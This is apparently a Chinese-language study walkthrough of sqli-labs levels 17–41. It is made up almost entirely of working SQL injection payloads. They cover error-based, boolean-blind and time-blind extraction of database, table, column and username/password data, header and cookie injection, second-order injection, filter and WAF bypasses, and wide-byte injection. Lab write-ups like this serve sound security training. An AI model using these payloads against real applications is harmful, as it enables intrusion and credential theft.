sql-labs:17~41(sql时间盲注和布尔盲注、sql注入爆数据思路、简单的sql注入绕过)
information_schema数据库
-
tables表
-
table_schema:目标数据库
-
table_name:目标表名称
-
-
columns表
-
table_schema:目标数据库
-
table_name:目标表
-
注:以下方式按照单引号闭合给出示例,具体成功与否需要结合实际环境测试
首先查询数据库的长度
单引号闭合注入语句 报错注入: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 布尔盲注(写脚本枚举): 1' and length(database())=8 and '1'='1 时间盲注(写脚本枚举): 1' and if(length(database())=8,sleep(1),1) and '1'='1
遍历数据库字符串
报错注入: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 布尔盲注(写脚本枚举): 1' and substr(database(),1,1)='s' and '1'='1 时间盲注(写脚本枚举): 1' and if(substr(database(),1,1)='s',sleep(1),1) and '1'='1
爆表
爆表的长度: 语句:SELECT CHAR_LENGTH(group_concat(table_name)) FROM information_schema.tables WHERE table_schema='security'; payload太长了,用str_foo作为占位符,int_foo作为枚举的占位符 枚举表的长度 str_foo = (SELECT CHAR_LENGTH(group_concat(table_name)) FROM information_schema.tables WHERE table_schema='security') 报错注入: 1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) and '1'='1 布尔注入: 1' and str_foo=int_foo and '1'='1 时间注入: 1' and if(length(str_foo)=int_foo,sleep(1),1) and '1'='1 int_foo=猜测长度的数字
爆表 语句:SELECT table_name from information_schema.tables where table_schema='security' str_foo = (SELECT group_concat(table_name) from information_schema.tables where table_schema='security') 报错注入: 1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) and '1'='1 布尔注入: 1' and substr(str_foo,int_foo,1)='char_foo' and '1'='1 时间注入: 1' and if(substr(str_foo,int_foo,1)='char_foo',sleep(1),1) and '1'='1 char_foo,int_foo两次循环 int_foo:str_foo的第int_foo个字符 char_foo:猜的字符
爆字段
爆某表所有字段的长度: 语句:select CHAR_LENGTH(group_concat(COLUMN_NAME)) from information_schema.columns where table_name = 'users' and table_schema = 'security' payload太长了,用str_foo作为占位符,int_foo作为枚举的占位符 枚举字段的长度 str_foo = (select CHAR_LENGTH(group_concat(COLUMN_NAME)) from information_schema.columns where table_name = 'users' and table_schema = 'security') 报错注入: 1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) and '1'='1 布尔注入: 1' and str_foo=int_foo and '1'='1 时间注入: 1' and if(length(str_foo)=int_foo,sleep(1),1) and '1'='1 int_foo=猜测长度的数字
爆字段 语句:select group_concat(COLUMN_NAME) from information_schema.columns where table_name = 'users' and table_schema = 'security' str_foo = (select group_concat(COLUMN_NAME) from information_schema.columns where table_name = 'users' and table_schema = 'security') 报错注入: 1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) and '1'='1 布尔注入: 1' and substr(str_foo,int_foo,1)='char_foo' and '1'='1 时间注入: 1' and if(substr(str_foo,int_foo,1)='char_foo',sleep(1),1) and '1'='1 char_foo,int_foo两次循环 int_foo:str_foo的第int_foo个字符 char_foo:猜的字符
爆数据
语句:SELECT GROUP_CONCAT(CONCAT(username, ',', password),'/') FROM security.users str_foo = (SELECT GROUP_CONCAT(CONCAT(username, ',', password),'/') FROM security.users) 报错注入: 1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) and '1'='1 布尔注入: 1' and substr(str_foo,int_foo,1)='char_foo' and '1'='1 时间注入: 1' and if(substr(str_foo,int_foo,1)='char_foo',sleep(1),1) and '1'='1 char_foo,int_foo两次循环 int_foo:str_foo的第int_foo个字符 char_foo:猜的字符
注:以上工具思路是将payload和具体注入查询的语句分开,以便于payload探测,和在确定具体的闭合方式之后,只改变占位符来攻击具体的数据
工具文章:sql注入工具升级:自动化时间盲注、布尔盲注-CSDN博客
工具地址:https://github.com/iamnotamaster/sql-injecter
less17(单引号闭合、报错回显、update语句注入)
是修改密码界面 username:admin password:id=1' and if(1=1,sleep(1),1) and '1'='1 # 单引号闭合 因为是update语句,所以让其有回显需要使用updatexml报错提示 UPDATE users SET password = '$passwd' WHERE username='$row1' username:admin password:123' and updatexml(1,concat(0x7e,database(),0x7e),1) # # 报错注入
less18(单引号闭合、报错回显、insert语句注入)
注入uagent 1' and if(1=1,sleep(10),1) and '1'='1 # 单引号闭合 次注入需要输入正确的账号密码,因为只有输入正确账号密码后才会insert 用户的uagent到uagent表中 uagent:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1 # 报错回显 tips: insert语句不能使用注释,而是闭合,因为Values要一一对应。 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname) INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1' and if(1=1,sleep(1),1) and '1'='1', '$IP', $uname)
less19(单引号闭合、报错回显、insert语句注入)
注入Referer Referer: 1' and if(1=1,sleep(10),1) and '1'='1 # 单引号闭合 Referer:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1 # 报错回显 tips: insert注入语句不能使用注释,而是闭合,因为Values要一一对应 INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP') INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1', '$IP')
less20(单引号闭合、报错回显、cookie注入)
Cookie: uname=admin' and if(1=1,sleep(1),1) and '1'='1 Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) # Cookie: uname=admin' and if(substr(database(),1,1)='s',sleep(1),1) #
less21(cookie注入、报错回显、单引号括号闭合)
这道关卡应该是单引号括号闭合,但是如下经过base64编码后没有sleep Cookie: uname=admin') and if(1=1,sleep(1),1) and ('1')=('1 Cookie: uname=YWRtaW4nKSBhbmQgaWYoMT0xLHNsZWVwKDEpLDEpIGFuZCAoJzEnKT0oJzEgCg== 但是这条语句可以sleep: Cookie: uname=admin') and if(1=1,sleep(1),1) and ('1 ')=('1 # 在('1')后面加一个空格,再加一个换行符,形象一点就是('1\r\n') # 别忘了base64编码 Cookie: uname=YWRtaW4nKSBhbmQgaWYoMT0xLHNsZWVwKDEpLDEpIGFuZCAoJzEgCicpPSgnMSAK 也就是说sqli-labs的base64解码完后还加了个空格和换行,这就是时间注入判断注入点的缺点: and连接的所有条件必须全部满足(条件1:uname=admin有数据)(条件2:('1')=('1')),显然在这个情况下,条件2没有满足,所以没有sleep 报错注入: Cookie:uname=admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ('1')=('1 Cookie:uname=dW5hbWU9YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBhbmQgKCcxJyk9KCcxCg==
less22(cookie注入、报错回显、双引号闭合)
以下uname后面的数据需要base64编码,这里没做处理是为了方便 报错注入: Cookie: uname=1" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1 时间注入: Cookie: uname=admin" and if(substr(database(),1,1)='s',sleep(1),1) and "1 "="1 根据21关的经验,时间注入时我们需要将"1"="1变为"1\r\n"="1(这里些\r,\n是为了形象,需要在数据包中替换成空格和换行)
less23(单引号闭合、全回显)
使用闭合,不能使用注释 id=0' union select 1,database(),3 or '1'='1 不能使用注释的原因:# -被过滤
less24(存储型注入)
创建一个用户(admin '#) 更改用户(admin '#)密码时: UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 如果我们更改用户(admin '#)的密码那系统会自动更改(admin)的密码
less25(全回显、双写绕过)
这一关不能使用or和and id=0' union select 1,database(),3--+ id=0' union select 1,database(),3 anandd '1'='1
less26(空格、#、+、and、or过滤)
# 双写绕过 id=1'anandd'1'='1 # 正常回显 # ;%00代替注释符号 # 使用括号代替空格 id=0'union(select(1),(database()),(3));%00 id=0'%09union%09select%091,2,3;%00
less26a(制表位、空格、#、+、and、or过滤、单引号括号闭合)
id=4')aandnd('1')=('1 正常回显 id=0')union(select(1),(database()),(2));%00
less27(空格、#、+、and、or、select、union过滤、单引号闭合)
id=1'and'1'='1 # 正常回显 id=0'unIOn(SeLEct(1),(database()),(3)) ;%00 # 大小写绕过
less28(空格、#、+、and、or、 select、union过滤、单引号闭合)
# %09代替空格 方法1: id=0')unIOn(SeLEct(1),(database()),(3)) ;%00 # 大小写绕过 方法2: 看了源码: 过滤了(union + '空格/制表位' + select)没有单独过滤union或select 过滤了空格没过滤制表位 %09 id=0')%09uniounion%09selectn%09select%091,database(),3;%00 28a一样?id=0')%09uniounion%09selectn%09select%091,database(),3;%00
less29(29到31都是这个waf)
看源码: $qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; whitelist($id1); sql语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $id1被白名单过滤,$id1是从如下函数得来的,就是遍历url参数,遍历到id参数就取其值返回到$id1 function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } } 如果url只有一个名为id的参数,那么它在代码中有两种角色 1.先作为$id1进行过滤 2.后作为$id执行sql语句 漏洞:正常情况下,url中只有一个名为id的参数,所以代码中$id1 == $id, 但是,如果多出来一个id,有两个id参数,那么在此代码中,第一个id判断是否有注入,第二个id不进行判断,而且此代码正好以第二个id进行执行(因为第二个id是直接拼接在sql语句中的,而且是由$_GET['id']得来的,此函数会获取同名位置靠后的参数) 例如:id=1&id=0 函数java_implimentation取出id=1赋值给$id1 函数$_GET['id']取出id=0赋值给$id 且id=1也就是$id1就被waf检测的,而多出来的id=0也就是$id,被直接拼接在sql语句中执行 利用: 1.让$id1是正常数据 2.让$id为注入数据 id=1&id=0'union select 1,database(),3--+
less30
less29到less31都是这个waf,只是闭合方式不同 id=1&id=0"union select 1,database(),3--+
less31
同上 id=1&id=0") union select 1,database(),3 and("1")=("1
less32(32到37都是宽字节注入)
id=0%ef'union select 1,database(),3--+ 宽字节注入: 1.开启gbk编码 2.引号被addslashes成为\' ('---->\') 3.用于绕过引号的过滤
less33
?id=0%ef'union select 1,database(),3--+
less34
uname=admin%ef' union select 1,database() --+
less35
id=0 union select 1,database(),3
less36
id=0%ef' union select 1,database(),3 --+
less37
uname=admin%ef' union select 1,database()--+
less38(38到41突然简单,貌似无闭合的话注释都不用)
0' union select 1,database(),3--+
less39
id=0 union select 1,database(),3--+
less40
id=0') union select 1,database(),3--+
less41
id=0 union select 1,database(),3--+